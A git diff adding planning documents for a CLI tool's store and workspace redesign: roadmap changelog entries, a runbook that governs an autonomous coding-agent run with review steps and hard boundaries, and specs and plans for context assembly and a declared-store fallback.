(d2, d6, d8, d10-d14: the shipped contracts). + Recorded for /simplify: the two lock-error factories are + textually parallel (data-parameterizable); StoreError as the + envelope class for non-store domains is an accepted altitude + tradeoff (asStatus duck-types the envelope; a neutral + DiagnosticError rename is capstone-scale, not slice-scale). Full + suite green (101 files, 1799 tests). +- 2026-06-12: Implemented slice 7.1 in two checkpoints. CP1 (e8bf29b): + `src/core/file-state.ts` extracts the lock/atomic-write mechanics + from store foundation with caller-owned error factories (the store + shapes pinned byte-identical by new tests — the suite had never + covered the lock); `src/core/worksets.ts` (the saved-views file on + the registry idiom, hand-edit parse contract, `withWorksetsLock`, + the `.code-workspace` builder); `src/core/openers.ts` (the locked + built-in table, per-field config merge, the PATH/PATHEXT scan with + an injectable stat seam, the pure two-style argv builder). CP2 + (d6fb613): the `workset` command group (guided create, list, open + with regenerate-before-tool-resolution and honest exit/signal + propagation and the every-failure manual fallback, remove with + lock-scoped ENOENT-tolerant derived cleanup), registration + + completions, the docs/cli.md section, the resurrected fake-tool + test machinery, 34 command tests, and the two e2e journeys + (no-footprint with context/doctor byte-identity; two-machine + teammate isolation). Full suite green (101 files, 1795 tests). + Decided autonomously (review me): `workset_name_required` was added + for non-interactive create without a name (the spec family had no + missing-name code; mirrors `store_setup_id_required`); the + `--no-interactive` flag is not declared (parity with the store + group: the gate is `--json`/env/TTY); fake-tool tests pin a fully + controlled PATH after a first run launched the machine's real + cursor. +- 2026-06-12: Wrote the personal-worksets plan (7.1, two checkpoints: + core storage/openers with the file-state extraction, then the + command group with fakes-on-PATH tests) and folded two plan reviews + (subagent: approve-with-fixes — "one of the cleanest code maps + audited", three anchors drifted 2-3 lines; codex: reject — + converging). The shared P1: the open flow checked tool availability + BEFORE regenerating the `.code-workspace`, so the + unknown/unavailable-tool fallback could name a nonexistent file — + reordered to regenerate under the lock first, with the fallback + test now asserting file existence and currency. Also folded: the + false "foundation tests pin the extraction" claim corrected + (nothing in the suite covers the lock/atomic mechanics — CP1 adds + the two store busy-error byte-shape pins itself), the + `withWorksetsLock` read-without-write primitive open needs, the + real error-factory sites (`create-failed`/`timeout`; stale-steal is + silent), the cross-spawn `createRequire` import shape (ESM package, + no types), the Commander `--member` collector (repeated options + keep only the last value by default), launch mechanics fake + executables cannot reach moved to injectable-spawn units + (SIGINT-130, spawn-error → `workset_launch_failed`), interactive + cancellation covered in-process via a stubbed gate + mocked + prompts with the remaining interactive-only lines enumerated to + the capstone, the win32 fixture trap (injectable stat seam), the + lock-release→spawn TOCTOU recorded as accepted, and the spec's + d12 amended in the same round (`workset_create_cancelled` dropped — + create has no abort-confirm, so the code had no firing site). +- 2026-06-12: Continued owner design review replaced the change-anchored + workset direction with roadmap item 7.1 (briefly numbered 4.2 the + same day; moved to its own Phase 7), personal worksets: a purely + local, manually composed, named working view, opened via a two-style + extensible opener table (`workspace-file` / `attach-dirs`); FR1 + (compose and keep) and FR2 (open in your tool) recorded with locked + decisions — no starter prompt on agent opens, no `--print` mode, + desktop apps deferred, "workspace" stays retired. The 7.1 section + carries the research checklist; the runbook gained the 7.1 follow-up + run invocation. `openspec context` is explicitly independent of 7.1. +- 2026-06-12: Closed the 7.1 pushed-branch box. The branch is pushed + through the capstone commit. PR #1190 review-comment disposition: + the two slice-touching comments that arrived mid-run were fixed and + pushed by the run itself (the Windows-compatibility pass and the + platform-aware clone-fix pin); the three remaining open inline + comments predate the run and touch nothing in the slice (spinner + early-return quick-wins in `workflow/instructions.ts` and + `workflow/status.ts`, and a keyboard-accessibility note on the + slice-1.2 decision-review HTML artifact) — parked for a cleanup + pass rather than expanded into 7.1 scope. 7.1 is complete through + every pre-merge box. diff --git a/openspec/work/simplify-context-and-workspace-model/runbook.md b/openspec/work/simplify-context-and-workspace-model/runbook.md new file mode 100644 index 0000000000..284822dbb6 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/runbook.md @@ -0,0 +1,256 @@ +# Roadmap Runbook + +Start the run from a fresh session in this repo on `codex/store-root-parity` +with exactly this command (interactive, or headless via +`claude -p '/goal ...'`): + +```text +/goal ROADMAP QUEUE COMPLETE: every item in the work queue defined in +openspec/work/simplify-context-and-workspace-model/runbook.md (slice 1.4, +the Phase 5 command-group deletion slice, 3.1-3.6, 4.1, the Phase 5 +remainder, and the 6.1 final acceptance capstone) has all of its roadmap.md +progress boxes ticked except "Merged to main", the full pnpm test suite +passes, all work is committed on codex/store-root-parity, and the +capstone's release-readiness report is committed with no open P1/P2 +findings. Work strictly per the runbook, one coherent unit per turn, never +waiting for the user; or stop after 300 turns. +``` + +This file is the contract for the autonomous run that works through the +`simplify-context-and-workspace-model` roadmap. The driver is `/goal` +(condition-based: turns fire back-to-back until the completion condition is +met — no schedule, no waiting for the user). Each turn does one coherent +unit of work and ends with an explicit status the goal evaluator can read. +All work happens on `codex/store-root-parity` (see the single-branch +workflow note in `roadmap.md`). + +Architecture: the goal-driven main loop is the sequential spine (one +judgment-bearing unit per turn, bookkeeping between phases); parallel review +phases run as multi-agent Workflows; the `/code-review` and `/simplify` +skills and the codex CLI provide independent review machinery — these skills +run from the main loop, never from inside workflow agents. + +## Follow-up run: 7.1 personal worksets (added 2026-06-12) + +The original queue is complete. Item 7.1 runs as its own goal, from a +fresh session on `codex/store-root-parity`: + +```text +/goal 7.1 COMPLETE: roadmap item 7.1 (personal worksets) in +openspec/work/simplify-context-and-workspace-model/roadmap.md has all +of its progress boxes ticked except "Merged to main" — including the +capstone dogfood and the pushed-branch box — the full pnpm test suite +passes, all work is committed on codex/store-root-parity, and the +branch is pushed to origin with code-review comments addressed. Work +per the runbook's per-slice discipline with the slice folder +slices/personal-worksets/; the 7.1 section's functional requirements, +locked decisions, and research checklist are the requirements baseline +and are owner-directed — do not relitigate them. Start with the +research checkpoint (the old launch mechanics at f858c19^ are the +evidence base). One coherent unit per turn, never waiting for the +user; or stop after 80 turns. +``` + +7.1 is a build slice: full review discipline (the deletion-slice trim +does not apply). Two run-specific amendments (owner-directed, +2026-06-12): + +- **Push allowed for this run — the working branch only.** After the + post-implementation review fixes land, and again at bookkeeping, + push `codex/store-root-parity` to origin. Then check PR #1190 for + code-review comments touching the slice and address each one (fix + it, or record a reply-with-rationale in the changelog). Merging to + or pushing `main` remains forbidden; the Hard boundaries section's + "never push at all" is superseded by this paragraph for this run + only. +- **7.1 capstone — after the simplify pass, before bookkeeping.** + Prove the feature end to end from the user's seat, headlessly: in a + scratch environment with isolated XDG state and fake `code` / + `cursor` / `claude` / `codex` executables on PATH, walk + compose → list → open for both launch styles, verifying the + generated `.code-workspace` contents and the exact launch argv per + tool (including the no-prompt rule for agent opens). Then a + cold-start UX walk: a fresh headless agent given only `--help` + output and no insider knowledge must reach an opened workset. + Record the transcript in the slice folder, fix what it surfaces, + re-run the full suite, and tick the capstone box. + +All other sections of this runbook apply unchanged. + +## Re-anchor (every turn) + +1. Read `roadmap.md` — Progress At A Glance, the next-incomplete-item + pointer, and the current slice's section. Read `goal.md` and `AGENTS.md` + if not already in context. Trust the files over conversation memory; + context may have been compacted. +2. The work queue, in order: slice 1.4 → the Phase 5 command-group deletion + slice → 3.1 → 3.2 → 3.3 → 3.4 → 3.5 → 3.6 → 4.1 → Phase 5 remainder → + **6.1 final acceptance capstone** (see roadmap Phase 6 and the section + below). All product decisions are locked in `roadmap.md` ("Decisions + locked" blocks, Rules We Should Not Forget, the 1.4 terminology + checkbox, the 5.1 criteria); do not re-open them. + +## Per-slice discipline (evolved from slice 1.3's) + +1. **Spec**: write `slices/<slice-name>/spec.md` in the established format + (Outcome, Locked Decisions, User Experience, Scope, Acceptance Criteria + with GIVEN/WHEN/THEN scenarios). Ground every claim in current code. +2. **Spec review** — run in parallel (Workflow for the agents, Bash for + codex): one adversarial review agent + one codex CLI review. Fold all + findings; record the round in the roadmap changelog. +3. **Plan**: write `slices/<slice-name>/plan.md` (Status, code map with + file:line anchors, implementation plan, test plan, risks, done + definition). +4. **Plan review**: same parallel shape as spec review. Fold findings. +5. **Implement** on this branch. Build clean; full `pnpm test` green before + any implementation commit. Update existing tests deliberately, never by + loosening contracts. +6. **Post-implementation review**, three independent mechanisms in + parallel (none of them edits): + - a spec-compliance agent (Workflow) checking the implementation against + the slice spec scenario by scenario; + - the `/code-review` skill at high effort for correctness findings; + - a codex CLI review of the commit range. + Fix all P1/P2 findings and cheap P3s; re-run the full suite. +7. **Quality pass**: run `/simplify` on the changed code — serial, after + correctness fixes land, because it edits the working tree. Re-run the + full suite; commit. +8. **Bookkeeping**: tick the slice's roadmap progress boxes, update the + next-item pointer and Progress At A Glance, add changelog entries, keep + the slice spec/plan consistent with what actually shipped, commit. + +## Standing quality bars (checked in every slice's reviews) + +- **Vocabulary**: new user-facing strings use only the locked nouns (store, + reference, target project repo, OpenSpec root). One concept, one token — + no synonym drift. +- **Error UX**: every new error or hint names the concrete next action, + carries `--store <id>` when a store is selected, and uses absolute paths + cross-root. A hint a user pastes must work verbatim. +- **Agent contracts**: new JSON fields and diagnostic codes follow the + existing shared shapes (the root block pattern; severity/code/message/fix + diagnostics). Additive, consistent, no parallel envelope styles. +- **Lean modules**: a touched module exceeding ~600 lines triggers a split + or a recorded reason. New abstractions need at least two real call sites + or a recorded reason — no speculative generality. +- **Dependency direction**: core never imports from commands; store Git + mechanics stay behind the single git module; config parsing and + instruction injection stay in their own modules. Root resolution remains + exactly one shared code path — no command-local forks of precedence. + +Codex review invocation: `codex exec` non-interactively with model 5.5 at +high reasoning (`-c model=...` and reasoning-effort overrides; confirm the +exact model id with `codex exec --help`/config on first use and then reuse +it). Give codex the commit range or artifact paths and ask for findings with +severity and file:line evidence. + +Deletion-slice review profile (Phase 5 remainder only): spec review keeps +the full dual shape (subagent + codex); plan review runs the adversarial +subagent alone, no codex; post-implementation review runs the +spec-compliance agent and `/code-review` at high effort, no per-slice +codex. Rationale: deletion slices are mechanical, their review-fix rounds +have been the smallest of the run, and the 6.1 whole-delta codex review +re-covers every deleted line anyway. Build slices (4.1) keep the full +discipline. + +Slice-specific acceptance: + +- **1.4**: after implementation, run the dogfood proof headlessly — in a + scratch project with isolated XDG state and a registered store, a fresh + headless agent session must complete a store-scoped change from a single + prompt without hand-holding. + +## Final acceptance capstone (6.1 — last queue item) + +The capstone proves the *product*, not the slices. It only passes when a +cold user could start using this today. Its checks: + +1. **Persona journeys**, each as an e2e test or headless dogfood: + - Fresh team: create a store, work a change through archive, commit and + push locally; second checkout clones, registers, continues (the 1.3 + journey must still pass after the rename and deletions, with new + names). + - Layered flow: requirements in a store; an agent in an app repo that + references it discovers the relationship from config, cites the + upstream spec, writes a low-level design in the app repo's own root. + - Externalized planning: a repo with no local root and a fallback + declaration runs the normal lifecycle without `--store` repetition. + - Cold start: a fresh headless agent, given only a vague human prompt + ("set up planning in a separate repo for this project") and no insider + knowledge, succeeds using only `--help` output and generated guidance. +2. **Usability audits**: an error-catalog walk (every likely wrong turn on + the new paths yields an actionable, store-carrying error); a vocabulary + sweep (zero "context store"/initiative/workspace residue in any + user-facing surface, including `docs/cli.md`); a documented + time-to-first-success count (commands and concepts from install to first + store-scoped change). +3. **Technical audits**: single-resolver invariant (one precedence + implementation, no command-local forks); dependency-direction check; + dead-code sweep over touched areas; module-size report; an agent-contract + inventory (all JSON shapes and diagnostic codes documented in one + reference file and verified consistent); net LOC delta vs `origin/main` + reported (expected net-negative given the Phase 5 deletions — justify if + not). +4. **Whole-delta review gauntlet** over `origin/main...HEAD` (the sum, not + the slices): `/code-review` at max effort, a codex CLI review, a + fan-out of adversarial Workflow reviewers, and a completeness critic + asking what is missing. Fix all P1/P2 findings. +5. **Release-readiness report** committed to this work folder: the + five-minute new-user story, audit results, the full + `Decided autonomously` ledger, and known gaps mapped to Later Ideas. + +## Autonomous decision protocol + +When a slice surfaces a decision the roadmap has not locked: + +1. Make the call most consistent with the locked decisions, the guardrails, + and the goal ("Specs are what is true. Work is what is in motion."). +2. Record it the same day in the roadmap changelog under a clearly marked + line: `Decided autonomously (review me): ...` with the rationale. +3. Continue. Do not stop to ask; do not silently decide either — the + changelog marker is the user's review surface. + +Phase 5 deletion slices proceed without confirmation: they delete code and +generated guidance only, never user data, and git history is the undo. + +## Hard boundaries (prohibitions, not gates) + +- **Never** merge, rebase onto, or push to `main`; never push at all — + commits stay local on `codex/store-root-parity`. +- Never delete user data files. +- Never re-open a locked decision; never rebuild per-change links + (relationships are location, declaration, or citation). +- One change lives in one root. + +## Parallelism policy + +- **Cross-slice work stays serial.** Every slice lands on the single branch; + the junction files (`src/cli/index.ts`, the completions registry, + `project-config.ts`, `foundation.ts`/`registry.ts`, and `roadmap.md` + bookkeeping) are shared by nearly every slice; and the queue's two largest + commits — the 1.4 mass rename and the Phase 5 mass deletion — are the + worst bases to rebase parallel tracks across. +- **Within-slice fan-outs are encouraged.** Mechanical sweeps over + partitioned file sets — the 1.4 rename and guidance surfaces, the Phase 5 + deletion sweep — run as Workflows, with worktree isolation when agents + edit concurrently. One integration point, one full-suite run. +- **Lookahead research is allowed.** During implementation turns, a + background read-only workflow may pre-build the next slice's code map + (file:line anchors for its plan). Never pre-write the next spec against + unlanded code or names. + +## Turn sizing and status (the evaluator reads this) + +- One coherent unit per turn: a spec with its reviews, a plan with its + reviews, an implementation checkpoint, or a review-and-fix cycle. +- End every turn with an explicit status block stating: current slice and + step, what was produced this turn, review verdicts, test-suite state, any + `Decided autonomously` entries, and what the next turn does. The goal + evaluator only sees what the transcript surfaces — state progress + plainly, never implicitly. +- The run is complete when every queue item's roadmap progress boxes are + ticked except "Merged to `main`", the full suite is green, all work is + committed, **and the 6.1 capstone passes with its release-readiness + report committed and no open P1/P2 findings**. When that is true, say so + explicitly in the final status: "ROADMAP QUEUE COMPLETE" plus the closing + summary including every `Decided autonomously` entry for review. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/assemble-working-context/plan.md b/openspec/work/simplify-context-and-workspace-model/slices/assemble-working-context/plan.md new file mode 100644 index 0000000000..d37e1ecc92 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/assemble-working-context/plan.md @@ -0,0 +1,24 @@ +# Assemble Working Context Plan (4.1) + +## Current Shape + +`openspec context` assembles the resolved OpenSpec root and referenced stores. +It no longer includes inferred code repos or implementation-folder discovery. + +## Implementation Notes + +1. Share the relationship gather between doctor and context: registry snapshot, + health-mode reference index, root inspection. +2. Build a working-set brief with root and referenced-store members only. +3. Keep unavailable references in JSON/human output with existing diagnostics. +4. Emit `.code-workspace` files only when explicitly requested; write only that + file and require `--force` to overwrite. +5. Preserve deletion of old workspace/initiative opening machinery. + +## Test Coverage + +- JSON/human context for store, nearest, and declared-pointer sessions. +- Resolved and unresolved references. +- Empty-reference root wording. +- Code-workspace write/refusal/force/missing-parent behavior. +- Read-only snapshot assertions. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/assemble-working-context/spec.md b/openspec/work/simplify-context-and-workspace-model/slices/assemble-working-context/spec.md new file mode 100644 index 0000000000..baaa0de354 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/assemble-working-context/spec.md @@ -0,0 +1,115 @@ +# Assemble Working Context Spec (4.1) + +## Outcome + +From any root, one command produces the OpenSpec working context its +declarations describe: the resolved OpenSpec root plus referenced stores. +The result is consumable as an agent brief (JSON), human listing, or optional +`.code-workspace` file. Unresolvable references are reported, not guessed. + +The earlier code-repo declaration/map experiment is removed. `openspec context` +does not infer implementation repos; users compose code folders explicitly with +personal worksets. + +## Locked Decisions + +1. **Assembly is a local convenience, not a planning system.** The selected + OpenSpec root remains the source of truth; references provide read-only + upstream context. +2. **The primary interface is an agent brief.** The editor file is one consumer + of the same assembled data. +3. **No machinery.** No clone, pull, push, sync, branch, worktree, dashboard, + launch, or edit-boundary enforcement. +4. **Unresolvable references are reported, not guessed.** + +## JSON Shape + +```json +{ + "root": { "path": "/abs/root", "source": "store|declared|nearest", "store_id": "...", "role": "openspec_root" }, + "members": [ + { "role": "referenced_store", "id": "upstream-context", "path": "/abs/store", "fetch": "openspec show <spec-id> --type spec --store upstream-context", "status": [] }, + { "role": "referenced_store", "id": "design-system", "status": [{ "code": "reference_unresolved" }] } + ], + "status": [] +} +``` + +Available members have `path` and empty `status`. Unavailable members are kept +in the brief with their diagnostics and fixes. The top-level `status` carries +cross-cutting degradation such as an unreadable registry. + +## Human Output + +```text +$ openspec context +Working context for team-context (/Users/dev/src/team-context) + +OpenSpec root + team-context /Users/dev/src/team-context + +Referenced stores + upstream-context /Users/dev/openspec/upstream-context + Fetch: openspec show <spec-id> --type spec --store upstream-context + +Not available on this machine + - design-system: not registered + Fix: git clone -- https://github.com/acme/design-system.git /Users/dev/openspec/design-system && openspec store register '/Users/dev/openspec/design-system' --id design-system +``` + +## `.code-workspace` Emission + +`--code-workspace <path>` writes `{folders: [{name, path}...]}` with the root +first, then available referenced stores named `ref:<id>`. Existing files refuse +without `--force`; missing parent directories fail; JSON mode keeps stdout as a +single brief and sends write confirmation to stderr. + +## Scope + +In scope: + +- `src/core/working-set.ts`: pure working-set assembly and workspace JSON + builder. +- `src/commands/context.ts` and `src/commands/shared-gather.ts`: root + relationship data gather, human/JSON output, code-workspace write handling. +- Deletion of old workspace opening machinery. +- Docs and tests for root + referenced-store assembly. + +Out of scope: + +- Editor integrations beyond `.code-workspace`; terminal session launchers. +- Any code-repo inference or implementation-folder discovery. +- Per-change context narrowing. + +## Acceptance Criteria + +### Assembly From References + +- **GIVEN** a store-backed root with one resolvable and one unresolvable + reference +- **WHEN** `openspec context` runs in human and JSON modes +- **THEN** JSON contains the root and referenced-store members only, resolved + members carry absolute paths and fetch recipes, unresolved members carry + existing diagnostics verbatim, and exit code is 0 + +### Nothing Declared + +- **GIVEN** a root with no references +- **WHEN** context runs +- **THEN** the set contains only the root, `members: []`, and human output says + the working set is this root alone + +### Code-Workspace Emission + +- **GIVEN** the mixed-reference fixture above +- **WHEN** `openspec context --code-workspace out.code-workspace` runs +- **THEN** the file contains folders for the root plus resolved referenced + stores only, unresolved members are reported on stderr, overwrite requires + `--force`, and no other files or registry state change + +### Old Machinery Is Gone + +- **GIVEN** the post-4.1 tree +- **WHEN** the suite runs and the ledger is read +- **THEN** old workspace state machinery is gone and assembly works without any + workspace or initiative state diff --git a/openspec/work/simplify-context-and-workspace-model/slices/declared-store-fallback/plan.md b/openspec/work/simplify-context-and-workspace-model/slices/declared-store-fallback/plan.md new file mode 100644 index 0000000000..0df7342d63 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/declared-store-fallback/plan.md @@ -0,0 +1,183 @@ +# Declared Store Fallback Plan (3.2) + +## Status + +Spec locked 2026-06-11 after two adversarial rounds (the store-selected +predicate adopted by all seven source-keyed consumers; init's pointer +guard; malformed-pointer errors; one-hop rule; warning-silent resolver +reads; the recorded doctor-wording amendment). Plan drafted 2026-06-11. +Implementation not started. + +The main move: + +```text +One predicate ("a store-selected root has storeId"), one pointer branch +in the resolver, one init guard — and externalized planning needs no +flags. +``` + +## Source Of Truth + +Start from `spec.md` (this folder). Keep nearby: `../../roadmap.md` +(Phase 3 precedence lock + the recorded amendment), +`../store-references/spec.md` (3.1 config patterns), +`../store-lifecycle-proof/spec.md` (hint-continuity contracts). + +## Current Code Map (verified during spec review) + +- **Resolver**: `resolveOpenSpecRoot` (`src/core/root-selection.ts:258-314`); + the nearest-root arm at 277-280 (`findRepoPlanningRootSync` returns + the project root whose `openspec/` exists and terminates at the + nearest ancestor — `planning-home.ts:52-77`); the stores-hint error + at 293-302; implicit at 305-313. `resolveStoreRoot` (134-218, module + private, same file) is the pipeline the pointer branch calls. +- **Source-keyed consumers to switch to the predicate** (all EIGHT + checks — plan review found the spec's "seven" missed one): + `emitStoreRootBanner` (`root-selection.ts:339`), `withStoreFlag` + (`root-selection.ts:349`), new-change path display + (`src/commands/workflow/new-change.ts:77`), status storeId + threading (`src/commands/workflow/status.ts:106` → `buildNextSteps` + appends `--store`), validate noun-suggestion suppression + (`src/commands/validate.ts:136`), show noun-suggestion suppression in + BOTH branches (`src/commands/show.ts:138` and + `printNonInteractiveHint` at `show.ts:160`), archive absolute display + paths (`src/core/archive.ts:446`). Spec amendment recorded in the + changelog: eight checks, not seven. +- **Config**: `ProjectConfigSchema`/`readProjectConfig` + (`src/core/project-config.ts`); the resolver does NOT reuse + `readProjectConfig` (it would re-emit field warnings) — it does a + targeted read. +- **Init**: `InitCommand.execute` → `createDirectoryStructure` + (`src/core/init.ts:144, 455-487`) unconditionally scaffolds under an + existing `openspec/`; the guard goes before that. +- **Tests**: `test/core/root-selection.test.ts` (resolver unit), + `test/commands/store-root-selection.test.ts` (CLI), + `test/core/init.test.ts`, `test/cli-e2e/` harness, + `test/helpers/openspec-fixtures.ts` (shared fixtures from 3.1). + +## Implementation Plan + +### Checkpoint 1 — resolver + predicate (commit) + +1. `src/core/project-config.ts`: add `store: z.string().optional()` to + the schema; resilient parse keeps a string, drops non-strings with + a warning (the parser's behavior is unchanged in spirit — the + RESOLVER, not the parser, owns the malformed-pointer error, and it + reads the file itself). +2. `src/core/root-selection.ts`: + - `OpenSpecRootSource` gains `'declared'`. + - New `isStoreSelectedRoot(root)` predicate (`storeId !== undefined`); + `emitStoreRootBanner` and `withStoreFlag` switch to it. + - In the nearest-root arm: stat `openspec/specs` and + `openspec/changes` as directories. Planning shape → today's path, + plus the both-shapes check: a targeted, warning-silent read of + `openspec/config.{yaml,yml}` (small local helper: read file, YAML + parse in try/catch, pluck `store`) and one stderr warning when a + `store` key exists ("openspec/config.yaml declares store 'x', but + this directory is a real OpenSpec root; the declaration is + ignored."). + - Config-only → targeted read: no config or no `store` key → today's + nearest behavior; unparseable config or non-string `store` → + `invalid_store_pointer` RootSelectionError naming the actual file + read; a string → call `resolveStoreRoot(id, globalDataDir, + 'declared')` inside a try/catch that **rewraps** any thrown + `RootSelectionError`/store error with the message prefix + "Declared in <abs path>: " while preserving `code`, `target`, and + an UNPREFIXED `fix` — one wrapper covers all ~7 throw paths + including the `fromStoreError` pass-throughs + (`root-selection.ts:138,146`), no per-template surgery. + - `resolveStoreRoot` gains only a source parameter (default + `'store'`; `makeRoot` already takes source as its second arg). + - The targeted read is a small exported helper (host it next to + `readProjectConfig` in `project-config.ts`, reusing its + `.yaml`/`.yml` preference): read file, YAML parse in try/catch, + pluck `store` — returning `{value?, malformed?, filePath}`. The + both-shapes warning fires only for STRING values (a non-string in + a real root is not a pointer; the resilient parser's later + drop-warning covers it). +3. Command-layer predicate adoption: new-change display, status + threading, validate/show suppression, archive display paths — each + switched from `source === 'store'` to the shared predicate (import + from root-selection). +4. Tests (resolver unit + CLI): + - Pointer resolves: source `declared`, store_id set, banner, hints + carry `--store`, absolute paths in new-change/archive output, and + the show nothing-to-show hint suppresses noun-form suggestions + (the eighth consumer). + - `--store` beats the pointer, asserting `source === 'store'`. + - Real root + pointer: stdout byte-identical to a no-pointer run — + same directory, add/remove the line in place, using deterministic + commands (`status --json`, `list --json`; normalize or avoid + `durationMs`-bearing outputs like validate's) — plus exactly one + stderr warning per invocation in human AND JSON modes, JSON stdout + clean. + - Config-only without pointer (positive assertions — no "today" + binary exists to diff): `source === 'nearest'`, path is the + config-only dir, zero stderr warnings, registry never consulted. + - Malformed pointer (non-string, unparseable YAML) → + `invalid_store_pointer` with origin AND a no-write assertion (the + pointer dir is untouched); invalid grammar → `invalid_store_id` + with the declared prefix; ALL five taxonomy codes prefixed + (`unknown_store`, `no_registered_stores`, `unhealthy_store_root`, + `store_identity_mismatch`, `invalid_store_id`), each asserting + the prefixed `diagnostic.message` and an UNPREFIXED + `diagnostic.fix`. + - One hop: pointer → store whose config has `store:` → resolves to + the first store. + - `.yml` origin naming. + - No-pointer no-root: stores-hint error byte-identical. + +### Checkpoint 2 — init guard, e2e, docs (commit) + +1. `src/core/init.ts`: the guard goes **immediately after `validate()` + returns `extendMode`** (`init.ts:111`) — before legacy cleanup + (`:114`, which mutates project files), migration (`:121`, which + writes global config), and the interactive prompts — so the refusal + truly creates and changes nothing. Detection: `extendMode` and the + shared targeted-read helper reports a string `store:` in a + config-only `openspec/`. Test asserts: refusal with the conversion + guidance; NO filesystem changes (project tree snapshot identical; + global data dir untouched); after removing the line, a rerun + scaffolds `openspec/specs/` and `openspec/changes/` normally. +2. e2e externalized-planning journey (`test/cli-e2e/` or + `test/commands/`, runCLI): rootless app repo with pointer → + `new change`, `status`, `instructions` (+ references composition: + the store's own `references:` appear per 3.1 symmetry), artifact + writes, `validate`, `list`, `show`, `archive` — no `--store` + anywhere; work lands in the store; pointer dir never gains + `specs/`/`changes/` (snapshot); banner + JSON root block assert + `declared`. +3. `docs/cli.md`: "Declaring a default store" subsection next to the + references one (the pointer, precedence, the init conversion note). +4. Full suite; built-binary smoke of the UX transcript. + +## Risks And Guardrails + +- **Predicate adoption must not change `--store` behavior**: the + predicate is true for both sources; every switched site already + behaved this way for explicit stores — the suite's existing + store-root expectations are the net. +- **Resolver read cost**: the targeted read happens only when the + nearest root exists (one stat for the config file in the + planning-shape case; full read only in the config-only case or for + the both-shapes warning). Keep it synchronous-fs and tiny; no + `readProjectConfig` reuse (its warnings would double-fire — the + 3.1-recorded behavior). +- **`invalid_store_pointer` is a new code**: document it in the slice + artifacts; additive to the resolver taxonomy (the capstone + agent-contract inventory picks it up). +- **planning-home untouched**: `findRepoPlanningRootSync` semantics + stay; only `resolveOpenSpecRoot` classifies the found dir. The + legacy planning-home workspace branch is unaffected. +- **Byte-identity pins**: the no-pointer baseline assertions must run + the SAME fixture twice (with/without the line), not rely on + hand-written expectations. + +## Done Definition + +- All spec acceptance scenarios pass; both checkpoints green on the + full suite and committed. +- The e2e journey proves externalized planning end to end without + flags, including the 3.1 composition. +- Roadmap 3.2 boxes ticked through "Tests pass"; changelog updated; + pointer moved to 3.3. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/declared-store-fallback/spec.md b/openspec/work/simplify-context-and-workspace-model/slices/declared-store-fallback/spec.md new file mode 100644 index 0000000000..eab1be2b3c --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/declared-store-fallback/spec.md @@ -0,0 +1,272 @@ +# Declared Store Fallback Spec (3.2) + +## Outcome + +A repo whose planning is fully externalized — no local OpenSpec root — +declares its store once, and every normal command works there without +`--store` on every invocation. The declaration is a fallback, never an +override: with any local root present, behavior is byte-identical to +today, declaration or not. The fixed precedence is finally complete: +explicit `--store` → nearest local root → declared store (only when no +local root exists) → today's error with the stores hint. + +## Locked Decisions (roadmap, 2026-06-11) + +1. **The declaration lives in `openspec/config.yaml`** — the fallback + `store:` pointer shares one home with `references:`. The fallback + case is a **config-only `openspec/` directory** (no `specs/`, no + `changes/`): root detection keeps today's stat-only walk, and two + extra stats distinguish a real root from a pointer. A top-level + marker file was rejected (`.openspec.yaml` is taken; dot-only + filename collisions are an agent hazard). +2. **Fallback, never override.** A declared store never overrides a + local root. With a local root present, behavior is byte-identical + with or without the declaration. +3. **A root with both planning shape and a pointer warns** (the pointer + is ignored per precedence). The locked wording said "doctor warns"; + no project-level doctor command exists, so this slice relocates the + warning to resolution stderr — recorded as a reviewed amendment in + the roadmap changelog; 3.6 owns the structured health surface. +4. **The no-root error/hint from slice 1.2 remains** for repos with no + declaration. +5. Without a local root, commands resolve to the declared store and + report it **through the existing root banner and JSON root block**. + +## Decisions This Spec Makes (autonomous, recorded in the changelog) + +1. **Detection mechanics.** The walk is unchanged: nearest ancestor + carrying `openspec/` wins and terminates the walk. On that one + directory, two stats (`openspec/specs`, `openspec/changes`, each + required to be a **directory**) classify it: either present → a + real root, today's `nearest` path, byte-identical. Both absent + (config-only) → a **warning-silent targeted read** of the config + (parse for the `store:` key only — never re-emitting the resilient + parser's field warnings during resolution); a `store:` key makes it + a pointer and resolution proceeds through the shared store pipeline; + **no `store:` key → today's behavior is preserved** (the config-only + directory is still a root — freshly initialized minimal roots keep + working). The walk never continues past the nearest `openspec/` + directory; nesting a pointer under a real root is pathological and + out of scope. +2. **A malformed pointer is an error, never a silent local root.** In a + config-only directory, a present-but-malformed `store:` value + (non-string, invalid id grammar) or an unparseable config file fails + resolution with an origin-naming error (`invalid_store_pointer` for + the malformed/unparseable cases; the grammar case flows into the + pipeline's `invalid_store_id`) — it must not degrade into scaffolding + work next to the pointer. (This deliberately differs from 3.1's + drop-with-warning references parsing: a dropped reference degrades + an index; a dropped pointer would silently flip the write target.) +3. **A declared root behaves exactly like a `--store` root except for + its `source` — enforced by one predicate.** "Store-selected" means + `root.storeId` is set; every consumer currently keyed on + `source === 'store'` switches to that predicate: the banner and + `withStoreFlag` (`root-selection.ts:339,349`), new-change's absolute + path display (`new-change.ts:77`), status's `storeId` threading + (`status.ts:106`), validate/show noun-form suggestion suppression — + both show branches, including `printNonInteractiveHint` + (`validate.ts:136`, `show.ts:138`, `show.ts:160` — the eighth check, + found in plan review), and archive's absolute cross-root display + paths (`archive.ts:446`). + Resolution runs the same `resolveStoreRoot` pipeline via an optional + `declaredOrigin` parameter; errors keep their codes and gain a true + prefix: "Declared in <abs path to the actual config file read>: " + + the existing message. The JSON root block carries + `source: "declared"` (additive enum value) plus `store_id`; hint + continuity appends `--store <id>` exactly as for explicit selection + (pasted hints work from any cwd). Explicit `--store` always wins and + never consults the pointer. +4. **Pointer resolution is one hop.** A resolved store's own `store:` + key is never consulted — no chaining, no recursion (a pointer chain + target that is itself config-only simply fails health as + `unhealthy_store_root`). +5. **The both-shapes warning lives in resolution, on stderr** (the + recorded amendment of the locked "doctor" wording). When the nearest + root has planning shape AND a `store:` pointer, commands emit + exactly one stderr warning per invocation — "Warning: <absolute + config path> declares store 'x', but this directory is a real + OpenSpec root; the declaration is ignored." (implementation + amendment: the absolute path replaces the spec 